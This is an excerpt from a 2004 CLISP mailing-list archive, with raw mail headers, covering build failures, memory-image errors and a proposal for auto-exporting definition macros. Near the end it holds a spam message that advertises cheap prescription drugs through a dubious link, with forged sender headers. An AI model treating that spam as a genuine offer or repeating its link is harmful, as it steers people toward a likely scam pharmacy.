X-Original-Date: Wed, 15 Dec 2004 12:30:45 -0500 > * Alan Oursland [2004-12-15 11:10:30 -0600]: > > How can I get a list of sub-directories in clisp? In other lisps I've > used the function 'directory' which returns a list of a directory > contents: > > (1): (directory "components/") > (#p"/v/filer1a/v0q029/oursland/km/components/CVS" > #p"/v/filer1a/v0q029/oursland/km/components/core") > > In clisp I get the following: > > [1]> (directory "components/") > (#P"/Users/oursland/ut/nlp/km/components/") > > Is there some other function I should be using or is there some option > I should set? -- Sam Steingold (http://www.podval.org/~sds) running w2k When we break the law, they fine us, when we comply, they tax us. From rolney@pcug.org.au Wed Dec 15 21:28:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeoBb-0007a6-0U for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 21:28:23 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeoBa-0005ga-3x for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 21:28:22 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iBG5SHNd027042 for ; Thu, 16 Dec 2004 16:28:17 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: make check test failure Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 15 21:29:01 2004 X-Original-Date: Thu, 16 Dec 2004 16:28:17 +1100 (EST) On Tue, 14 Dec 2004, Sam Steingold wrote: > > * Robert Olney [2004-12-14 13:55:24 +1100]: > > > > when I run make check after compiling clisp 2.33.2, I get: > > > > test error: > > (PRINT 1 2) make[1]: *** [tests] Segmentation fault > > make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/build-dif/suite' > > make: *** [testsuite] Error 2 > > > > If I comment out this test in tests/excepsit.tst, it completes > > successfully with zero errors. > > > > I am using Linux Debian kernel 2.4.18-1-686. > > this is a known problem with gcc2: > http://sourceforge.net/tracker/index.php?func=detail&aid=785605&group_id=1355&atid=101355 > Thanks. I was using gcc 2.95. It worked with gcc 3.0. Robert. From rolney@pcug.org.au Wed Dec 15 21:44:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeoRO-0008Nj-W0 for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 21:44:42 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CeoRO-0007S9-56 for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 21:44:42 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iBG5ieNd003495 for ; Thu, 16 Dec 2004 16:44:40 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 15 21:45:01 2004 X-Original-Date: Thu, 16 Dec 2004 16:44:40 +1100 (EST) I tried using the -M option with my newly built clisp compiled with: ./configure --with-export-syscalls --with-module=regexp new and got: ~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem /home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file `./full/lispinit.mem' was not created by this version of CLISP This seems like a strange thing to say. I don't have any other version of clisp. What does it mean? I note that ./clisp -K full -norc works OK Thanks, Robert. From rolney@pcug.org.au Wed Dec 15 21:52:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CeoZ0-0000Wp-28 for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 21:52:34 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CeoYx-0008Q5-OV for clisp-list@lists.sourceforge.net; Wed, 15 Dec 2004 21:52:34 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iBG5qTNd006196 for ; Thu, 16 Dec 2004 16:52:29 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Strange result using -M option Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 15 21:53:01 2004 X-Original-Date: Thu, 16 Dec 2004 16:52:29 +1100 (EST) I tried using the -M option with my newly built clisp compiled with: ./configure --with-export-syscalls --with-module=regexp new and got: ~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem /home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file `./full/lispinit.mem' was not created by this version of CLISP This seems like a strange thing to say. I don't have any other version of clisp. What does it mean? I note that ./clisp -K full -norc works OK Thanks, Robert. From edi@agharta.de Thu Dec 16 01:49:47 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CesGY-00087P-Vc for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 01:49:46 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CesGY-000781-8O for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 01:49:46 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id AC6CE2CC08F for ; Thu, 16 Dec 2004 10:49:40 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz X-Home-Page: http://weitz.de/ Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Announcement: RDNZL .NET bridge for CL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 01:50:03 2004 X-Original-Date: Thu, 16 Dec 2004 10:49:41 +0100 Hi! Maybe someone wants to port this to CLISP: It has the potential to provide an easy way to create native GUIs for CLISP programs, amongst other things. Cheers, Edi. From sds@gnu.org Thu Dec 16 06:32:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cewg0-0003Ia-Cp for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 06:32:20 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cewfz-0006yk-2g for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 06:32:20 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBGEW7db020481; Thu, 16 Dec 2004 09:32:08 -0500 (EST) To: clisp-list@lists.sourceforge.net, Robert Olney Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Robert Olney's message of "Thu, 16 Dec 2004 16:52:29 +1100 (EST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Robert Olney Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Strange result using -M option Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 06:33:01 2004 X-Original-Date: Thu, 16 Dec 2004 09:32:07 -0500 > * Robert Olney [2004-12-16 16:52:29 +1100]: > > I tried using the -M option with my newly built clisp compiled with: > > ./configure --with-export-syscalls --with-module=regexp new "--with-export-syscalls" is ancient history. > and got: > > ~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem > /home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file > `./full/lispinit.mem' was not created by this version of CLISP it should have said "CLISP runtime". `clisp' runs base/lisp.run runtime by default. memory image full/lispinit.mem was created by full/lisp.run. > I note that > ./clisp -K full -norc > works OK that's what you should use. -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From sds@gnu.org Thu Dec 16 07:09:39 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CexG7-00069U-6s for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 07:09:39 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CexG6-0004z1-19 for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 07:09:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBGF9Rdb001782 for ; Thu, 16 Dec 2004 10:09:28 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 UPPERCASE_25_50 message body is 25-50% uppercase 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] proposal: CUSTOM:*DEFINE-EXPORTING* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 07:10:06 2004 X-Original-Date: Thu, 16 Dec 2004 10:09:27 -0500 proposal: user variable CUSTOM:*DEFINE-EXPORTING* initial value: NIL when non-nil, macroexpansion of DEFUN, DEFMACRO, DEFVAR, DEFCONSTANT, DEFPARAMETER, DEF-CALL-OUT (but not DEF-CALL-IN), DEFINE-MODIFY-MACRO, DEFINE-SYMBOL-MACRO, DEFSETF, DEF-C-TYPE, DEF-C-ENUM, DEF-C-STRUCT, DEF-C-VAR, DEFSTRUCT, DEFCLASS will contain an EXPORT form for the symbol defined: (EXPORT ',name ,(symbol-package name)) the variable is checked only at macroexpansion time, so when loading a compiled file its value has no effect. use case: (eval-when (compile eval) (setq custom:*define-exporting* t)) (defvar foo 10) (defun bar (x) (+ x foo)) NOTE: slot accessors (but not slot names) for DEFCLASS, DEFSTRUCT, DEF-C-STRUCT, are also exported. NOTE: constants defined by DEF-C-ENUM are also exported. -- Sam Steingold (http://www.podval.org/~sds) running w2k PI seconds is a nanocentury From bruno@clisp.org Thu Dec 16 12:13:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cf20X-0003vh-MT for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 12:13:53 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cf20W-0006YQ-N5 for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 12:13:53 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iBGKDjw1004823 for ; Thu, 16 Dec 2004 21:13:45 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iBGKDdkG018682; Thu, 16 Dec 2004 21:13:39 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 78AAA27CDD; Thu, 16 Dec 2004 20:12:13 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200412162112.11959.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Re: proposal: CUSTOM:*DEFINE-EXPORTING* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 12:14:02 2004 X-Original-Date: Thu, 16 Dec 2004 21:12:11 +0100 Sam wrote: > proposal: > user variable CUSTOM:*DEFINE-EXPORTING* > initial value: NIL > when non-nil, macroexpansion of > DEFUN, DEFMACRO, DEFVAR, DEFCONSTANT, DEFPARAMETER, DEF-CALL-OUT > (but not DEF-CALL-IN), DEFINE-MODIFY-MACRO, DEFINE-SYMBOL-MACRO, > DEFSETF, DEF-C-TYPE, DEF-C-ENUM, DEF-C-STRUCT, DEF-C-VAR, > DEFSTRUCT, DEFCLASS > will contain an EXPORT form for the symbol defined: > (EXPORT ',name ,(symbol-package name)) > the variable is checked only at macroexpansion time, > so when loading a compiled file its value has no effect. > > use case: > > (eval-when (compile eval) > (setq custom:*define-exporting* t)) > (defvar foo 10) > (defun bar (x) (+ x foo)) > > NOTE: slot accessors (but not slot names) for DEFCLASS, DEFSTRUCT, > DEF-C-STRUCT, are also exported. > NOTE: constants defined by DEF-C-ENUM are also exported. I'm more in favour of an extra package that exports the symbols EXPORTING:DEFUN, EXPORTING:DEFMACRO, etc. Why? - It allows leaving the ANSI CL macros unmodified. - It allows using some of the exporting macros but not all. - It allows using the non-exporting macro in selected places. Use case: (defpackage "MY-PACK" (:use "COMMON-LISP") (:shadowing-import-from "EXPORTING" #:defun #:defmacro #:defvar)) (defvar foo 10) (defun bar (x) (+ x foo)) ; This one I don't want to export. (cl:defun private-password () "as7djqkw") > (but not DEF-CALL-IN) Why not? When the called-in function is a generic function, it makes sense to let other packages attach methods to it; therefore its name should be exported. Bruno From sds@gnu.org Thu Dec 16 12:41:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cf2RX-0005t1-VJ for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 12:41:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cf2RW-000253-V9 for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 12:41:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBGKfVdb016413; Thu, 16 Dec 2004 15:41:31 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200412162112.11959.bruno@clisp.org> (Bruno Haible's message of "Thu, 16 Dec 2004 21:12:11 +0100") References: <200412162112.11959.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: proposal: CUSTOM:*DEFINE-EXPORTING* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 12:42:02 2004 X-Original-Date: Thu, 16 Dec 2004 15:41:29 -0500 > * Bruno Haible [2004-12-16 21:12:11 +0100]: > > I'm more in favour of an extra package that exports the symbols > EXPORTING:DEFUN, EXPORTING:DEFMACRO, etc. as long as they look like (defmacro exporting:defun (name &rest body) `(progn (cl:defun ,name ,@body) (cl:export ',name ,(find-package name)))) i.e., do not re-implement the original functionality. note that DEFSTRUCT, DEFCLASS, DEF-C-STRUCT will need to use MOP to get the list of readers, writers and accessors to export. PS note that PARI uses modern package mode; I suggest that as you remove exporting.lisp, you convert all those modules to modern mode. PPS I suggest :MODERN argument for DEFPACKAGE/MAKE-PACKAGE. when set, it should forbid :CASE-SENSITIVE & :CASE-INVERTED arguments and convert CL in :USE to CS-CL. I.e., (make-package "FOO" :modern t :use '(#:cl #:ext)) is equivalent to (make-package "FOO" :case-inverted t :case-sensitive t :use '(#:cs-cl #'ext)) this might make it easier to write code portable between ACL and CLISP. -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From rolney@pcug.org.au Thu Dec 16 12:47:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cf2XI-0006Uw-5h for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 12:47:44 -0800 Received: from supreme.pcug.org.au ([203.10.76.34] helo=pcug.org.au) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cf2XH-00030b-61 for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 12:47:44 -0800 Received: from supreme.pcug.org.au (supreme.pcug.org.au [203.10.76.34]) by pcug.org.au (8.12.9/8.12.9/TIP-2.39) with ESMTP id iBGKleNd025596 for ; Fri, 17 Dec 2004 07:47:40 +1100 (EST) From: Robert Olney To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Strange result using -M option Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 12:48:05 2004 X-Original-Date: Fri, 17 Dec 2004 07:47:40 +1100 (EST) On Thu, 16 Dec 2004, Sam Steingold wrote: > > * Robert Olney [2004-12-16 16:52:29 +1100]: > > > > I tried using the -M option with my newly built clisp compiled with: > > > > ./configure --with-export-syscalls --with-module=regexp new > > "--with-export-syscalls" is ancient history. I got this from step 12 in clisp-2.33.2/unix/INSTALL > > > and got: > > > > ~/src/clisp-2.33.2/new$ ./clisp -norc -M ./full/lispinit.mem > > /home/ro/src/clisp-2.33.2/new/base/lisp.run: initialization file > > `./full/lispinit.mem' was not created by this version of CLISP > > it should have said "CLISP runtime". > `clisp' runs base/lisp.run runtime by default. > memory image full/lispinit.mem was created by full/lisp.run. > I see. Thanks. Robert. From sds@gnu.org Thu Dec 16 14:55:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cf4Wd-0006k9-5g for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 14:55:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cf4Wc-0004Ke-B4 for clisp-list@lists.sourceforge.net; Thu, 16 Dec 2004 14:55:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBGMt1db022314; Thu, 16 Dec 2004 17:55:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, Robert Olney Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Robert Olney's message of "Fri, 17 Dec 2004 07:47:40 +1100 (EST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Robert Olney Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Strange result using -M option Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 14:56:00 2004 X-Original-Date: Thu, 16 Dec 2004 17:55:00 -0500 > * Robert Olney [2004-12-17 07:47:40 +1100]: > > On Thu, 16 Dec 2004, Sam Steingold wrote: > >> > * Robert Olney [2004-12-16 16:52:29 +1100]: >> > >> > I tried using the -M option with my newly built clisp compiled with: >> > >> > ./configure --with-export-syscalls --with-module=regexp new >> >> "--with-export-syscalls" is ancient history. > > I got this from step 12 in clisp-2.33.2/unix/INSTALL I fixed this on 2004/06/01, but it did not make it into the clisp_2_33-patched tree... -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't hit a man when he's down -- kick him; it's easier. From QECRDKAOZTE@yahoo.com Thu Dec 16 23:24:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CfCT4-0000xe-3n; Thu, 16 Dec 2004 23:24:02 -0800 Received: from [211.192.25.183] (helo=66.35.250.206) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1CfCT2-0001Na-FR; Thu, 16 Dec 2004 23:24:01 -0800 Received: from peternixon.net [202.172.158.16] (helo=.vergenet.net) by smtp3.cistron.nl with esmtp () id 8AQ6iH-3053CR-00; Fri, 17 Dec 2004 16:13:24 -0700 Message-ID: <5640B67C.4078007@.peternixon.net> From: "Gwendolyn Steward" To: cgiwrap-users@lists.sourceforge.net Cc: cgiwrap-users-request@lists.sourceforge.net, cilk-support@lists.sourceforge.net, cilk-susport@lists.sourceforge.net, cilksupport@lists.sourceforge.net, clisp-devel@lists.sourceforge.net, clisp-list@lists.sourceforge.net, clisplist@lists.sourceforge.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031013 Thunderbird/0.3 X-Accept-Language: en-us, en X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 RCVD_NUMERIC_HELO Received: contains a numeric HELO -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 4.1 FORGED_RCVD_NET_HELO Host HELO'd using the wrong IP network 0.9 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Viic0din and Hydr0c0done Heere dB Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 16 23:25:02 2004 X-Original-Date: Sat, 18 Dec 2004 00:16:24 +0100 The L0west price of all med's is here. Viicodin - $199.95 Tylenol - $189.95 V1a'gra - $199.95 Va|ium - $259.95 Cia|is - $189.95 Xa'nax - $233.95 and many m0reeee..... We are the bes't available nowadays http://www.nosleep4me.com/2/vicodin.php?wid=200007 This is 1 -time mailing. N0-re m0val are re'qui-red RG2j1zNSRNKeul0PSWCuyvHAyXkMsgidu From Joerg-Cyril.Hoehle@t-systems.com Fri Dec 17 06:51:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CfJRo-0004cb-US for clisp-list@lists.sourceforge.net; Fri, 17 Dec 2004 06:51:12 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CfJRn-0000nH-EE for clisp-list@lists.sourceforge.net; Fri, 17 Dec 2004 06:51:12 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 